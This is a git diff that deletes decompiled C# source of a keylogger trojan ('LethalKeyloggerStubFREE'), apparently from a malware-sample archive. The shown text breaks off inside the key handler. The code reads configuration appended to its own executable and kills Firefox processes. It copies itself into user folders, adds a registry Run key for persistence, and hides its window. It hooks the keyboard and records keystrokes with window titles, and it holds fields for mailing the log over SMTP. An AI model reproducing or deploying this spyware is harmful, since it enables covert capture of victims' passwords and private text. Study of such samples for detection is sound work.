b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-7356d718e5acf021b7dd2c7fbcdb66d8d76fcc67ec08aa5b4fc501fb60791280/My/MySettingsProperty.cs deleted file mode 100644 index a80f6f78..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-7356d718e5acf021b7dd2c7fbcdb66d8d76fcc67ec08aa5b4fc501fb60791280/My/MySettingsProperty.cs +++ /dev/null @@ -1,24 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: MicrosoftWindows.My.MySettingsProperty -// Assembly: LethalKeyloggerStubFREE, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: CDA884B2-DDEA-4F9B-B77F-DA62A4B22D2E -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.cuw-7356d718e5acf021b7dd2c7fbcdb66d8d76fcc67ec08aa5b4fc501fb60791280.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using System.ComponentModel.Design; -using System.Diagnostics; -using System.Runtime.CompilerServices; - -namespace MicrosoftWindows.My -{ - [DebuggerNonUserCode] - [StandardModule] - [HideModuleName] - [CompilerGenerated] - internal sealed class MySettingsProperty - { - [HelpKeyword("My.Settings")] - internal static MySettings Settings => MySettings.Default; - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-7356d718e5acf021b7dd2c7fbcdb66d8d76fcc67ec08aa5b4fc501fb60791280/My/Resources/Resources.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-7356d718e5acf021b7dd2c7fbcdb66d8d76fcc67ec08aa5b4fc501fb60791280/My/Resources/Resources.cs deleted file mode 100644 index 3811b2b4..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-7356d718e5acf021b7dd2c7fbcdb66d8d76fcc67ec08aa5b4fc501fb60791280/My/Resources/Resources.cs +++ /dev/null @@ -1,46 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: MicrosoftWindows.My.Resources.Resources -// Assembly: LethalKeyloggerStubFREE, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: CDA884B2-DDEA-4F9B-B77F-DA62A4B22D2E -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.cuw-7356d718e5acf021b7dd2c7fbcdb66d8d76fcc67ec08aa5b4fc501fb60791280.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Diagnostics; -using System.Globalization; -using System.Resources; -using System.Runtime.CompilerServices; - -namespace MicrosoftWindows.My.Resources -{ - [GeneratedCode("System.Resources.Tools.StronglyTypedResourceBuilder", "2.0.0.0")] - [StandardModule] - [CompilerGenerated] - [DebuggerNonUserCode] - [HideModuleName] - internal sealed class Resources - { - private static ResourceManager resourceMan; - private static CultureInfo resourceCulture; - - [EditorBrowsable(EditorBrowsableState.Advanced)] - internal static ResourceManager ResourceManager - { - get - { - if (object.ReferenceEquals((object) MicrosoftWindows.My.Resources.Resources.resourceMan, (object) null)) - MicrosoftWindows.My.Resources.Resources.resourceMan = new ResourceManager("MicrosoftWindows.Resources", typeof (MicrosoftWindows.My.Resources.Resources).Assembly); - return MicrosoftWindows.My.Resources.Resources.resourceMan; - } - } - - [EditorBrowsable(EditorBrowsableState.Advanced)] - internal static CultureInfo Culture - { - get => MicrosoftWindows.My.Resources.Resources.resourceCulture; - set => MicrosoftWindows.My.Resources.Resources.resourceCulture = value; - } - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-7356d718e5acf021b7dd2c7fbcdb66d8d76fcc67ec08aa5b4fc501fb60791280/Resources.resx b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-7356d718e5acf021b7dd2c7fbcdb66d8d76fcc67ec08aa5b4fc501fb60791280/Resources.resx deleted file mode 100644 index d58980a3..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-7356d718e5acf021b7dd2c7fbcdb66d8d76fcc67ec08aa5b4fc501fb60791280/Resources.resx +++ /dev/null @@ -1,120 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - text/microsoft-resx - - - 2.0 - - - System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - \ No newline at end of file diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-7356d718e5acf021b7dd2c7fbcdb66d8d76fcc67ec08aa5b4fc501fb60791280/Trojan-Spy.MSIL.KeyLogger.cuw.csproj b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-7356d718e5acf021b7dd2c7fbcdb66d8d76fcc67ec08aa5b4fc501fb60791280/Trojan-Spy.MSIL.KeyLogger.cuw.csproj deleted file mode 100644 index 555e13c7..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-7356d718e5acf021b7dd2c7fbcdb66d8d76fcc67ec08aa5b4fc501fb60791280/Trojan-Spy.MSIL.KeyLogger.cuw.csproj +++ /dev/null @@ -1,53 +0,0 @@ - - - - - Debug - AnyCPU - {0A85E05A-6A9D-49E9-83F5-A472D3C34270} - WinExe - LethalKeyloggerStubFREE - 1.0.0.0 - MicrosoftWindows - - - AnyCPU - true - full - false - bin\Debug\ - DEBUG;TRACE - prompt - 4 - - - AnyCPU - pdbonly - true - bin\Release\ - TRACE - prompt - 4 - - - - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-7356d718e5acf021b7dd2c7fbcdb66d8d76fcc67ec08aa5b4fc501fb60791280/Trojan-Spy.MSIL.KeyLogger.cuw.sln b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-7356d718e5acf021b7dd2c7fbcdb66d8d76fcc67ec08aa5b4fc501fb60791280/Trojan-Spy.MSIL.KeyLogger.cuw.sln deleted file mode 100644 index 0c2d8132..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-7356d718e5acf021b7dd2c7fbcdb66d8d76fcc67ec08aa5b4fc501fb60791280/Trojan-Spy.MSIL.KeyLogger.cuw.sln +++ /dev/null @@ -1,20 +0,0 @@ - -Microsoft Visual Studio Solution File, Format Version 9.00 -# Visual Studio 2005 -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "LethalKeyloggerStubFREE", "Trojan-Spy.MSIL.KeyLogger.cuw-7356d718e5acf021b7dd2c7fbcdb66d8d76fcc67ec08aa5b4fc501fb60791280.csproj", "{0A85E05A-6A9D-49E9-83F5-A472D3C34270}" -EndProject -Global - GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|Any CPU = Debug|Any CPU - Release|Any CPU = Release|Any CPU - EndGlobalSection - GlobalSection(ProjectConfigurationPlatforms) = postSolution - {0A85E05A-6A9D-49E9-83F5-A472D3C34270}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {0A85E05A-6A9D-49E9-83F5-A472D3C34270}.Debug|Any CPU.Build.0 = Debug|Any CPU - {0A85E05A-6A9D-49E9-83F5-A472D3C34270}.Release|Any CPU.ActiveCfg = Release|Any CPU - {0A85E05A-6A9D-49E9-83F5-A472D3C34270}.Release|Any CPU.Build.0 = Release|Any CPU - EndGlobalSection - GlobalSection(SolutionProperties) = preSolution - HideSolutionNode = FALSE - EndGlobalSection -EndGlobal diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-8978a533113cb238230aa54274a793f958cac462d3c087972be36a1149c3ade9/AssemblyInfo.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-8978a533113cb238230aa54274a793f958cac462d3c087972be36a1149c3ade9/AssemblyInfo.cs deleted file mode 100644 index 2b49f1a8..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-8978a533113cb238230aa54274a793f958cac462d3c087972be36a1149c3ade9/AssemblyInfo.cs +++ /dev/null @@ -1,13 +0,0 @@ -using System.Reflection; -using System.Runtime.InteropServices; - -[assembly: AssemblyDescription("")] -[assembly: AssemblyProduct("MicrosoftWindows")] -[assembly: AssemblyCompany("")] -[assembly: AssemblyTitle("MicrosoftWindows")] -[assembly: Guid("b95034f0-1151-4765-aa52-c79079cff4de")] -[assembly: AssemblyFileVersion("1.0.0.0")] -[assembly: ComVisible(false)] -[assembly: AssemblyTrademark("")] -[assembly: AssemblyCopyright("Copyright © 2009")] -[assembly: AssemblyVersion("1.0.0.0")] diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-8978a533113cb238230aa54274a793f958cac462d3c087972be36a1149c3ade9/Form1.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-8978a533113cb238230aa54274a793f958cac462d3c087972be36a1149c3ade9/Form1.cs deleted file mode 100644 index 4751fbe0..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-8978a533113cb238230aa54274a793f958cac462d3c087972be36a1149c3ade9/Form1.cs +++ /dev/null @@ -1,1440 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: MicrosoftWindows.Form1 -// Assembly: LethalKeyloggerStubFREE, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: CDA884B2-DDEA-4F9B-B77F-DA62A4B22D2E -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Spy.MSIL.KeyLogger.cuw-8978a533113cb238230aa54274a793f958cac462d3c087972be36a1149c3ade9.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using Microsoft.Win32; -using MicrosoftWindows.My; -using System; -using System.ComponentModel; -using System.Diagnostics; -using System.Drawing; -using System.IO; -using System.Net; -using System.Net.Mail; -using System.Reflection; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; -using System.Text; -using System.Threading; -using System.Windows.Forms; - -namespace MicrosoftWindows -{ - [DesignerGenerated] - public class Form1 : Form - { - private IContainer components; - [AccessedThroughProperty("Timer1")] - private System.Windows.Forms.Timer _Timer1; - [AccessedThroughProperty("Timer2")] - private System.Windows.Forms.Timer _Timer2; - [AccessedThroughProperty("Timer3")] - private System.Windows.Forms.Timer _Timer3; - private TextBox innerz666; - private TextBox interz666; - private TextBox interx666; - private TextBox outerz666; - private TextBox outerx666; - private TextBox esendz666; - private TextBox esendx666; - private CheckBox checky666; - private CheckBox osname666; - private CheckBox osvers666; - private CheckBox emails666; - private CheckBox osuser666; - private TextBox osvers667; - private TextBox osname667; - private TextBox osuser667; - private TextBox smtphost; - private CheckBox startsadd; - private TextBox t2interval; - private Random irrelevant; - private string appname; - private string stub; - private string text1; - private string text2; - private string check1; - private string text3; - private string errorico; - private string text4; - private string check3; - private string check4; - private string check5; - private string check6; - private string check7; - private string check8; - private string text6; - private string combo1; - private string check9; - private string check10; - private string check11; - private string check12; - private string check13; - private string check14; - private string check15; - private string check18; - private string check19; - private string check20; - private string check21; - private string check22; - private string activewindow; - [AccessedThroughProperty("kbHook")] - private Form1.KeyboardHook _kbHook; - private bool shift; - private StreamWriter streamwriter; - - public Form1() - { - this.Load += new EventHandler(this.Form1_Load); - this.innerz666 = new TextBox(); - this.interz666 = new TextBox(); - this.interx666 = new TextBox(); - this.outerz666 = new TextBox(); - this.outerx666 = new TextBox(); - this.esendz666 = new TextBox(); - this.esendx666 = new TextBox(); - this.checky666 = new CheckBox(); - this.osname666 = new CheckBox(); - this.osvers666 = new CheckBox(); - this.emails666 = new CheckBox(); - this.osuser666 = new CheckBox(); - this.osvers667 = new TextBox(); - this.osname667 = new TextBox(); - this.osuser667 = new TextBox(); - this.smtphost = new TextBox(); - this.startsadd = new CheckBox(); - this.t2interval = new TextBox(); - this.irrelevant = new Random(); - this.appname = Path.GetFileName(Application.ExecutablePath); - this.kbHook = new Form1.KeyboardHook(); - this.InitializeComponent(); - } - - [DebuggerNonUserCode] - protected override void Dispose(bool disposing) - { - try - { - if (!disposing || this.components == null) - return; - this.components.Dispose(); - } - finally - { - base.Dispose(disposing); - } - } - - [DebuggerStepThrough] - private void InitializeComponent() - { - this.components = (IContainer) new System.ComponentModel.Container(); - this.Timer1 = new System.Windows.Forms.Timer(this.components); - this.Timer2 = new System.Windows.Forms.Timer(this.components); - this.Timer3 = new System.Windows.Forms.Timer(this.components); - this.SuspendLayout(); - this.AutoScaleDimensions = new SizeF(6f, 13f); - this.AutoScaleMode = AutoScaleMode.Font; - this.ClientSize = new Size(4, 0); - this.FormBorderStyle = FormBorderStyle.FixedToolWindow; - this.Name = nameof (Form1); - this.Text = "your mum"; - this.ResumeLayout(false); - } - - internal virtual System.Windows.Forms.Timer Timer1 - { - [DebuggerNonUserCode] get => this._Timer1; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set - { - EventHandler eventHandler = new EventHandler(this.Timer1_Tick); - if (this._Timer1 != null) - this._Timer1.Tick -= eventHandler; - this._Timer1 = value; - if (this._Timer1 == null) - return; - this._Timer1.Tick += eventHandler; - } - } - - internal virtual System.Windows.Forms.Timer Timer2 - { - [DebuggerNonUserCode] get => this._Timer2; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set - { - EventHandler eventHandler = new EventHandler(this.Timer2_Tick); - if (this._Timer2 != null) - this._Timer2.Tick -= eventHandler; - this._Timer2 = value; - if (this._Timer2 == null) - return; - this._Timer2.Tick += eventHandler; - } - } - - internal virtual System.Windows.Forms.Timer Timer3 - { - [DebuggerNonUserCode] get => this._Timer3; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set - { - EventHandler eventHandler = new EventHandler(this.Timer3_Tick); - if (this._Timer3 != null) - this._Timer3.Tick -= eventHandler; - this._Timer3 = value; - if (this._Timer3 == null) - return; - this._Timer3.Tick += eventHandler; - } - } - - private void Form1_Load(object sender, EventArgs e) - { - string Delimiter = "keylogfreeforHF"; - try - { - FileSystem.FileOpen(1, Application.ExecutablePath, OpenMode.Binary, OpenAccess.Read, OpenShare.Shared); - string Expression = Strings.Space(checked ((int) FileSystem.LOF(1))); - FileSystem.FileGet(1, ref Expression); - FileSystem.FileClose(1); - string[] strArray = Strings.Split(Expression, Delimiter); - this.interz666.Text = strArray[1]; - this.interx666.Text = strArray[2]; - if (Operators.CompareString(strArray[8], "errorOS", false) == 0) - { - this.checky666.Checked = true; - this.text3 = strArray[4]; - this.text4 = strArray[6]; - this.errorico = strArray[5]; - } - this.t2interval.Text = strArray[7]; - if (Operators.CompareString(strArray[9], "emailOS", false) == 0) - this.emails666.Checked = true; - if (Operators.CompareString(strArray[10], "getcomp", false) == 0) - this.osname666.Checked = true; - if (Operators.CompareString(strArray[13], "adding", false) == 0) - { - this.startsadd.Checked = true; - this.combo1 = strArray[15]; - } - this.text6 = strArray[14]; - this.check9 = strArray[16]; - this.check10 = strArray[17]; - this.check11 = strArray[18]; - this.check12 = strArray[19]; - this.check13 = strArray[20]; - this.check14 = strArray[21]; - this.check15 = strArray[22]; - this.check18 = strArray[23]; - this.check19 = strArray[24]; - this.check20 = strArray[25]; - this.check21 = strArray[26]; - this.check22 = strArray[27]; - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - if (Process.GetProcessesByName(Path.GetFileNameWithoutExtension(Process.GetCurrentProcess().MainModule.ModuleName)).Length > 1) - Application.Exit(); - if (Operators.CompareString(this.check22, "Yes", false) == 0) - { - Process[] processes = Process.GetProcesses(); - int num = checked (processes.Length - 1); - int index = 0; - while (index <= num) - { - if (Operators.CompareString(Strings.UCase(processes[index].ProcessName), Strings.UCase("firefox"), false) == 0) - processes[index].Kill(); - checked { ++index; } - } - } - if (Operators.CompareString(this.check9, "Yes", false) == 0 | Operators.CompareString(this.check10, "Yes", false) == 0 | Operators.CompareString(this.check11, "Yes", false) == 0 | Operators.CompareString(this.check12, "Yes", false) == 0 | Operators.CompareString(this.check13, "Yes", false) == 0 | Operators.CompareString(this.check14, "Yes", false) == 0 | Operators.CompareString(this.check15, "Yes", false) == 0 | Operators.CompareString(this.check18, "Yes", false) == 0 | Operators.CompareString(this.check19, "Yes", false) == 0 | Operators.CompareString(this.check20, "Yes", false) == 0 | Operators.CompareString(this.check21, "Yes", false) == 0) - { - this.Timer3.Interval = 1000; - this.Timer3.Start(); - } - if (this.osuser666.Checked) - this.osuser667.Text = Environment.UserName; - if (this.osname666.Checked) - this.osname667.Text = Environment.MachineName; - if (MySettingsProperty.Settings.runonce) - { - MySettingsProperty.Settings.runonce = false; - if (this.checky666.Checked && Operators.CompareString(this.errorico, "msgexcl", false) == 0) - { - int num = (int) Interaction.MsgBox((object) this.text3, MsgBoxStyle.Exclamation, (object) this.text4); - } - if (this.startsadd.Checked) - { - try - { - string fileName = Path.GetFileName(Application.ExecutablePath); - if (Operators.CompareString(this.combo1, "applocal", false) == 0) - { - string folderPath = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData); - MyProject.Computer.FileSystem.CopyFile(Application.ExecutablePath, folderPath + "\\" + fileName, true); - Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true).SetValue(this.text6, (object) (folderPath + "\\" + fileName)); - } - else if (Operators.CompareString(this.combo1, "approaming", false) == 0) - { - string folderPath = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData); - MyProject.Computer.FileSystem.CopyFile(Application.ExecutablePath, folderPath + "\\" + fileName, true); - Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true).SetValue(this.text6, (object) (folderPath + "\\" + fileName)); - } - else if (Operators.CompareString(this.combo1, "cdrive", false) == 0) - { - string folderPath = Environment.GetFolderPath(Environment.SpecialFolder.MyComputer); - MyProject.Computer.FileSystem.CopyFile(Application.ExecutablePath, folderPath + "\\" + fileName, true); - Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true).SetValue(this.text6, (object) (folderPath + "\\" + fileName)); - } - else if (Operators.CompareString(this.combo1, "desktop", false) == 0) - { - string folderPath = Environment.GetFolderPath(Environment.SpecialFolder.DesktopDirectory); - MyProject.Computer.FileSystem.CopyFile(Application.ExecutablePath, folderPath + "\\" + fileName, true); - Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true).SetValue(this.text6, (object) (folderPath + "\\" + fileName)); - } - else if (Operators.CompareString(this.combo1, "docs", false) == 0) - { - string folderPath = Environment.GetFolderPath(Environment.SpecialFolder.Personal); - MyProject.Computer.FileSystem.CopyFile(Application.ExecutablePath, folderPath + "\\" + fileName, true); - Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true).SetValue(this.text6, (object) (folderPath + "\\" + fileName)); - } - else if (Operators.CompareString(this.combo1, "music", false) == 0) - { - string folderPath = Environment.GetFolderPath(Environment.SpecialFolder.MyMusic); - MyProject.Computer.FileSystem.CopyFile(Application.ExecutablePath, folderPath + "\\" + fileName, true); - Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true).SetValue(this.text6, (object) (folderPath + "\\" + fileName)); - } - else if (Operators.CompareString(this.combo1, "pics", false) == 0) - { - string folderPath = Environment.GetFolderPath(Environment.SpecialFolder.MyPictures); - MyProject.Computer.FileSystem.CopyFile(Application.ExecutablePath, folderPath + "\\" + fileName, true); - Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true).SetValue(this.text6, (object) (folderPath + "\\" + fileName)); - } - else if (Operators.CompareString(this.combo1, "progfiles", false) == 0) - { - string folderPath = Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles); - MyProject.Computer.FileSystem.CopyFile(Application.ExecutablePath, folderPath + "\\" + fileName, true); - Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true).SetValue(this.text6, (object) (folderPath + "\\" + fileName)); - } - else if (Operators.CompareString(this.combo1, "start", false) == 0) - { - string folderPath = Environment.GetFolderPath(Environment.SpecialFolder.StartMenu); - MyProject.Computer.FileSystem.CopyFile(Application.ExecutablePath, folderPath + "\\" + fileName, true); - Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true).SetValue(this.text6, (object) (folderPath + "\\" + fileName)); - } - else if (Operators.CompareString(this.combo1, "system", false) == 0) - { - string folderPath = Environment.GetFolderPath(Environment.SpecialFolder.System); - MyProject.Computer.FileSystem.CopyFile(Application.ExecutablePath, folderPath + "\\" + fileName, true); - Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true).SetValue(this.text6, (object) (folderPath + "\\" + fileName)); - } - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - } - this.Timer1.Start(); - this.Timer2.Interval = checked ((int) Math.Round(unchecked (Conversions.ToDouble(this.t2interval.Text) * 60.0 * 1000.0))); - this.Timer2.Start(); - this.Visible = false; - this.Hide(); - this.ShowInTaskbar = false; - MySettingsProperty.Settings.Save(); - } - - [DllImport("user32.dll", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int GetForegroundWindow(); - - [DllImport("USER32", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int GetKeyState(long vKey); - - [DllImport("user32.dll", EntryPoint = "GetWindowTextA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int GetWindowText(int hwnd, [MarshalAs(UnmanagedType.VBByRefStr)] ref string lpString, int cch); - - private string GetActiveWindowTitle() - { - string lpString = new string(char.MinValue, 100); - Form1.GetWindowText(Form1.GetForegroundWindow(), ref lpString, 100); - return lpString.Substring(0, checked (Strings.InStr(lpString, "\0") - 1)); - } - - private virtual Form1.KeyboardHook kbHook - { - [DebuggerNonUserCode] get => this._kbHook; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set - { - Form1.KeyboardHook.KeyDownEventHandler downEventHandler = new Form1.KeyboardHook.KeyDownEventHandler(this.kbHook_KeyDown); - Form1.KeyboardHook.KeyUpEventHandler keyUpEventHandler = new Form1.KeyboardHook.KeyUpEventHandler(this.kbHook_KeyUp); - if (this._kbHook != null) - { - Form1.KeyboardHook.KeyDown -= downEventHandler; - Form1.KeyboardHook.KeyUp -= keyUpEventHandler; - } - this._kbHook = value; - if (this._kbHook == null) - return; - Form1.KeyboardHook.KeyDown += downEventHandler; - Form1.KeyboardHook.KeyUp += keyUpEventHandler; - } - } - - private void kbHook_KeyUp(Keys Key) - { - } - - private void kbHook_KeyDown(Keys Key) - { - if (!this.Timer1.Enabled) - return; - if (Form1.GetAsyncKeyState(16L) != 0) - this.shift = true; - if (Operators.CompareString(this.activewindow, this.GetActiveWindowTitle(), false) != 0) - { - this.activewindow = this.GetActiveWindowTitle(); - this.innerz666.Text = this.innerz666.Text + "\r\n\r\n" + this.activewindow + "\r\n\r\n"; - } - if (Key == Keys.A) - { - if (this.shift) - { - this.innerz666.Text += "A"; - this.shift = false; - } - else - { - if (this.shift) - return; - this.innerz666.Text += "a"; - } - } - else if (Key == Keys.B) - { - if (this.shift) - { - this.innerz666.Text += "B"; - this.shift = false; - } - else - { - if (this.shift) - return; - this.innerz666.Text += "b"; - } - } - else if (Key == Keys.C) - { - if (this.shift) - { - this.innerz666.Text += "C"; - this.shift = false; - } - else - { - if (this.shift) - return; - this.innerz666.Text += "c"; - } - } - else if (Key == Keys.D) - { - if (this.shift) - { - this.innerz666.Text += "D"; - this.shift = false; - } - else - { - if (this.shift) - return; - this.innerz666.Text += "d"; - } - } - else if (Key == Keys.E) - { - if (this.shift) - { - this.innerz666.Text += "E"; - this.shift = false; - } - else - { - if (this.shift) - return; - this.innerz666.Text += "e"; - } - } - else if (Key == Keys.F) - { - if (this.shift) - { - this.innerz666.Text += "F"; - this.shift = false; - } - else - { - if (this.shift) - return; - this.innerz666.Text += "f"; - } - } - else if (Key == Keys.G) - { - if (this.shift) - { - this.innerz666.Text += "G"; - this.shift = false; - } - else - { - if (this.shift) - return; - this.innerz666.Text += "g"; - } - } - else if (Key == Keys.H) - { - if (this.shift) - { - this.innerz666.Text += "H"; - this.shift = false; - } - else - { - if (this.shift) - return; - this.innerz666.Text += "h"; - } - } - else if (Key == Keys.I) - { - if (this.shift) - { - this.innerz666.Text += "I"; - this.shift = false; - } - else - { - if (this.shift) - return; - this.innerz666.Text += "i"; - } - } - else if (Key == Keys.J) - { - if (this.shift) - { - this.innerz666.Text += "J"; - this.shift = false; - } - else - { - if (this.shift) - return; - this.innerz666.Text += "j"; - } - } - else if (Key == Keys.K) - { - if (this.shift) - { - this.innerz666.Text += "K"; - this.shift = false; - } - else - { - if (this.shift) - return; - this.innerz666.Text += "k"; - } - } - else if (Key == Keys.L) - { - if (this.shift) - { - this.innerz666.Text += "L"; - this.shift = false; - } - else - { - if (this.shift) - return; - this.innerz666.Text += "l"; - } - } - else if (Key == Keys.M) - { - if (this.shift) - { - this.innerz666.Text += "M"; - this.shift = false; - } - else - { - if (this.shift) - return; - this.innerz666.Text += "m"; - } - } - else if (Key == Keys.N) - { - if (this.shift) - { - this.innerz666.Text += "N"; - this.shift = false; - } - else - { - if (this.shift) - return; - this.innerz666.Text += "n"; - } - } - else if (Key == Keys.O) - { - if (this.shift) - { - this.innerz666.Text += "O"; - this.shift = false; - } - else - { - if (this.shift) - return; - this.innerz666.Text += "o"; - } - } - else if (Key == Keys.P) - { - if (this.shift) - { - this.innerz666.Text += "P"; - this.shift = false; - } - else - { - if (this.shift) - return; - this.innerz666.Text += "p"; - } - } - else if (Key == Keys.Q) - { - if (this.shift) - { - this.innerz666.Text += "Q"; - this.shift = false; - } - else - { - if (this.shift) - return; - this.innerz666.Text += "q"; - } - } - else if (Key == Keys.R) - { - if (this.shift) - { - this.innerz666.Text += "R"; - this.shift = false; - } - else - { - if (this.shift) - return; - this.innerz666.Text += "r"; - } - } - else if (Key == Keys.S) - { - if (this.shift) - { - this.innerz666.Text += "S"; - this.shift = false; - } - else - { - if (this.shift) - return; - this.innerz666.Text += "s"; - } - } - else if (Key == Keys.T) - { - if (this.shift) - { - this.innerz666.Text += "T"; - this.shift = false; - } - else - { - if (this.shift) - return; - this.innerz666.Text += "t"; - } - } - else if (Key == Keys.U) - { - if (this.shift) - { - this.innerz666.Text += "U"; - this.shift = false; - } - else - { - if (this.shift) - return; - this.innerz666.Text += "u"; - } - } - else if (Key == Keys.V) - { - if (this.shift) - { - this.innerz666.Text += "V"; - this.shift = false; - } - else - { - if (this.shift) - return; - this.innerz666.Text += "v"; - } - } - else if (Key == Keys.W) - { - if (this.shift) - { - this.innerz666.Text += "W"; - this.shift = false; - } - else - { - if (this.shift) - return; - this.innerz666.Text += "w"; - } - } - else if (Key == Keys.X) - { - if (this.shift) - { - this.innerz666.Text += "X"; - this.shift = false; - } - else - { - if (this.shift) - return; - this.innerz666.Text += "x"; - } - } - else if (Key == Keys.Y) - { - if (this.shift) - { - this.innerz666.Text += "Y"; - this.shift = false; - } - else - { - if (this.shift) - return; - this.innerz666.Text += "y"; - } - } - else if (Key == Keys.Z) - { - if (this.shift) - { - this.innerz666.Text += "Z"; - this.shift = false; - } - else - { - if (this.shift) - return; - this.innerz666.Text += "z"; - } - } - else if (Key == Keys.D0) - { - if (this.shift) - { - this.innerz666.Text += ")"; - this.shift = false; - } - else - { - if (this.shift) - return; - this.innerz666.Text += "0"; - } - } - else if (Key == Keys.D1) - { - if (this.shift) - { - this.innerz666.Text += "!"; - this.shift = false; - } - else - { - if (this.shift) - return; - this.innerz666.Text += "1"; - } - } - else if (Key == Keys.D2) - { - if (this.shift) - { - this.innerz666.Text += "@"; - this.shift = false; - } - else - { - if (this.shift) - return; - this.innerz666.Text += "2"; - } - } - else if (Key == Keys.D3) - { - if (this.shift) - { - this.innerz666.Text += "#"; - this.shift = false; - } - else - { - if (this.shift) - return; - this.innerz666.Text += "3"; - } - } - else if (Key == Keys.D4) - { - if (this.shift) - { - this.innerz666.Text += "$"; - this.shift = false; - } - else - { - if (this.shift) - return; - this.innerz666.Text += "4"; - } - } - else if (Key == Keys.D5) - { - if (this.shift) - { - this.innerz666.Text += "%"; - this.shift = false; - } - else - { - if (this.shift) - return; - this.innerz666.Text += "5"; - } - } - else if (Key == Keys.D6) - { - if (this.shift) - { - this.innerz666.Text += "^"; - this.shift = false; - } - else - { - if (this.shift) - return; - this.innerz666.Text += "6"; - } - } - else if (Key == Keys.D7) - { - if (this.shift) - { - this.innerz666.Text += "&"; - this.shift = false; - } - else - { - if (this.shift) - return; - this.innerz666.Text += "7"; - } - } - else if (Key == Keys.D8) - { - if (this.shift) - { - this.innerz666.Text += "*"; - this.shift = false; - } - else - { - if (this.shift) - return; - this.innerz666.Text += "8"; - } - } - else if (Key == Keys.D9) - { - 